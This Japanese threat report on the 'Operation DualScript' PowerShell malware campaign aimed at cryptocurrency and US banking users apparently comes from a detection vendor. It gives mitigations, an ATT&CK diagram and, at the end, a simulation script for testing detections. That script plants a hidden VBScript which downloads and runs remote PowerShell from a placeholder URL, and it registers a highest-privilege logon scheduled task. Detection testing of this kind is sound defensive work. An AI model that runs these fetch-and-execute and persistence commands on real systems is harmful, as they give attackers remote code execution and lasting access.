オペレーションDualScript: 暗号通貨および金融を標的とする多段階PowerShellマルウェア
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
このレポートでは、Operation DualScriptについて概説します。これは、スケジュールされたタスクの永続性、VBScriptランチャー、およびPowerShellローダーに依存して、クリップボードハイジャッカーとRetroRATリモートアクセス型トロイの木馬を展開する多段階のマルウェアキャンペーンです。攻撃者は外部サーバーに悪意のあるPowerShellを保存し、メモリ内で完全に実行して検出の機会を減らします。RetroRATはキーストロークを記録し、金融関連のキーワードをアクティブウィンドウで監視し、盗まれたデータをカスタムTCP C2チャネルを通じて送信します。このキャンペーンは、暗号通貨活動および米国の銀行を対象としています。
調査
アナリストは、ユーザーが書き込み可能なパスからVBScriptファイルを起動するように構成されたスケジュールタスクを発見しました。これにより、実行ポリシーのバイパスが有効になった隠れたPowerShellが実行されます。2つの並行した配信チェーンが特定されました: 1つは暗号通貨のクリップボードの内容をハイジャックするWallet.txtスクリプトを取得し、もう1つはRetroRATをメモリに直接ロードしました。静的解析でも、解析回避ロジック、ミューテックスの作成、マルチスレッドのキーロギング、ハードコードされたC2ハンドシェイク文字列が露見しました。
緩和策
防御者は、隠れたウィンドウやバイパス引数でVBScriptやPowerShellを呼び出す不審なスケジュールタスクを監視する必要があります。エンドポイント検出は、メモリ内PowerShellの実行、異常なクリップボード監視動作、および不明なミューテックスの作成に注力すべきです。組織は悪意のあるドメインへのアウトバウンドトラフィックをブロックし、PowerShellとVBScriptへの厳格な実行管理を適用する必要があります。
対応策
この活動が検出された場合、影響を受けたホストを隔離し、悪意のあるスケジュールタスクを無効にし、永続化されたVBScriptまたはPowerShellのアーティファクトを削除します。RetroRATペイロード、キャプチャされたキーストロークデータ、および関連するC2トラフィックを完全にフォレンジックスイープします。暴露された暗号通貨ウォレットの情報をリセットし、銀行の資格情報を変更します。影響を受けたシステムをクリーンバックアップから復元し、特定されたドメインとIPアドレスをネットワーク層でブロックします。
"graph TB %% Class definitions classDef technique fill:#d1e8ff classDef file fill:#ffe6cc classDef malware fill:#ffcccc classDef process fill:#e2ffd6 %% Nodes u2013 Techniques tech_persistence["<b>テクニック</b> – <b>T1053 スケジュールタスク・ジョブ</b><br/><b>説明</b>: 永続性のために隠れたモードでVBScriptランチャーを実行するWindowsのスケジュールタスクを作成します。"] class tech_persistence technique tech_execution["<b>テクニック</b> – <b>T1059.001 PowerShell</b><br/><b>説明</b>: 実行ポリシーバイパスを介してPowerShellコードを実行し、メモリ内で直接実行します。"] class tech_execution technique tech_defense["<b>テクニック</b> – <b>T1497.002 仮想化サンドボックス回避</b><br/><b>説明</b>: サンドボックスのユーザー名及び仮想マシンアーティファクトを確認し、そのような環境が検出された場合は中止します。"] class tech_defense technique tech_download["<b>テクニック</b> – <b>T1102 ウェブサービス</b><br/><b>説明</b>: HTTPS経由でリモートペイロード(Wallet.txt)を取得し、メモリ内実行用のScriptBlockに変換します。"] class tech_download technique tech_clipboard["<b>テクニック</b> – <b>T1115 クリップボードデータ</b>と<b>T1204.004 悪意のあるコピー&ペースト</b><br/><b>説明</b>: システムのクリップボードを監視し、正当な暗号通貨アドレスを攻撃者の管理するウォレットに差し替えます。"] class tech_clipboard technique tech_keylog["<b>テクニック</b> – <b>T1056.001 キーロギング</b><br/><b>説明</b>: 金融セッション中にキーストロークをキャプチャするための低レベルキーボードフックをインストールします。"] class tech_keylog technique tech_screen["<b>テクニック</b> – <b>T1113 スクリーンキャプチャ</b><br/><b>説明</b>: 被害者の活動の視覚的監視のためにスクリーンショットを記録したり、デスクトップのストリームを行います。"] class tech_screen technique tech_c2["<b>テクニック</b> – <b>T1041 C2チャネルを介した漏洩</b><br/><b>説明</b>: 収集されたキーストローク、クリップボードデータ、およびログをTCPクライアントを使用してハードコードされたC2サーバーに送信します。"] class tech_c2 technique tech_process["<b>テクニック</b> – <b>T1543 システムプロセスの作成または修正</b><br/><b>説明</b>: タスクスケジューラはPowerShellペイロードのために新しいプロセスを生成し、その後並列機能のために追加のスレッドを作成します。"] class tech_process technique tech_rdp["<b>テクニック</b> – <b>T1219.002 リモートデスクトップソフトウェア</b><br/><b>説明</b>: 攻撃者がRetroRATコンポーネントを介して被害者のデスクトップを表示したり制御したりすることができます。"] class tech_rdp technique tech_inputinj["<b>テクニック</b> – <b>T1674 入力インジェクション</b><br/><b>説明</b>: 被害者が内容を貼り付ける前に、攻撃者が管理するウォレットの文字列をクリップボードに挿入します。"] class tech_inputinj technique %% Nodes u2013 Artifacts file_vbscript["<b>ファイル</b> – <b>名前</b>: ppamproServiceZuneWAL.vbs / PiceVid.vbs<br/><b>目的</b>: 隠れたモードでPowerShellペイロードを起動します。"] class file_vbscript file malware_retro["<b>マルウェア</b> – <b>名前</b>: RetroRAT<br/><b>機能</b>: リモートデスクトップおよびコマンド実行能力を提供します。"] class malware_retro malware %% Connections u2013 Flow tech_persistence –>|creates| file_vbscript file_vbscript –>|launches| tech_execution tech_execution –>|uses| tech_download tech_download –>|delivers payload to| tech_process tech_process –>|spawns| tech_keylog tech_process –>|spawns| tech_screen tech_process –>|spawns| tech_clipboard tech_clipboard –>|enables| tech_inputinj tech_keylog –>|exfiltrates via| tech_c2 tech_screen –>|exfiltrates via| tech_c2 tech_clipboard –>|exfiltrates via| tech_c2 tech_process –>|starts| tech_rdp tech_rdp –>|communicates with| tech_c2 tech_rdp –>|runs| malware_retro tech_defense –>|checks before| file_vbscript "
攻撃フロー
検出
検出のためのIOC(HashMd5):Operation DualScript – 暗号通貨と金融活動を狙った多段階のPowerShellマルウェアキャンペーン
表示
コマンド取得のためのリモートサーバーへの外部接続 [Windows ネットワーク接続]
表示
Operation DualScript – VBScriptとPowerShellを使用したスケジュールタスクの永続性 [Windows スケジュールタスク]
表示
Operation DualScript PowerShell リモートコンテンツダウンロードとクリップボードハイジャック [Windows Powershell]
表示
シミュレーション実行
前提条件: テレメトリーとベースラインの事前フライトチェックが合格している必要があります。
根拠: このセクションは、検出ルールを引き起こすために設計された敵対的技術(TTP)の正確な実行について詳述します。コマンドと説明は、特定されたTTPに直接反映され、検出ロジックが期待する正確なテレメトリを生成することを目的とします。
-
攻撃の物語とコマンド:
攻撃者は最初にVBScript (dual.vbs) をユーザーのプロファイルディレクトリに配置します。スクリプトの目的は、PowerShellをフラグ-WindowStyle Hiddenand-ExecutionPolicy Bypassで起動し、その後、リモートペイロードをダウンロードして実行(簡単なWrite-Hostでシミュレート)します。永続性を達成するために、攻撃者はログオン時にVBScriptを実行するスケジュールタスク (DualScriptPersist) を登録します。各ステップは、ルールが探している2つの相関されたEventID 4104エントリを生成します。 -
回帰テストスクリプト:
# ------------------------------------------------- # DualScript Attack Simulation – PowerShell # ------------------------------------------------- # 1️⃣ ユーザー書き込み可能パスに悪意のあるVBScriptを作成 $vbsPath = "$env:USERPROFILEdual.vbs" $payloadUrl = "http://example.com/payload.ps1" # プレースホルダURL $vbsContent = @" WScript.Sleep 500 Dim sh Set sh = CreateObject("WScript.Shell") sh.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('$payloadUrl')`"" "@ $vbsContent | Set-Content -Path $vbsPath -Encoding ASCII # 2️⃣ 毎ユーザーログオン時にVBScriptを実行するスケジュールタスクを登録 $taskName = "DualScriptPersist" $taskAction = "`"$vbsPath`"" schtasks.exe /Create ` /SC ONLOGON ` /RL HIGHEST ` /TN $taskName ` /TR $taskAction ` /F # 3️⃣ タスクを即座に実行(検出をトリガー) schtasks.exe /Run /TN $taskName Write-Host "`n[+] DualScript simulation executed. Check your SIEM for alerts." # ------------------------------------------------- -
クリーンアップコマンド:
# ------------------------------------------------- # DualScript Simulation Cleanup # ------------------------------------------------- $taskName = "DualScriptPersist" $vbsPath = "$env:USERPROFILEdual.vbs" # スケジュールタスクの削除 schtasks.exe /Delete /TN $taskName /F # VBScriptファイルの削除 Remove-Item -Path $vbsPath -Force -ErrorAction SilentlyContinue Write-Host "`n[+] Cleanup completed." # -------------------------------------------------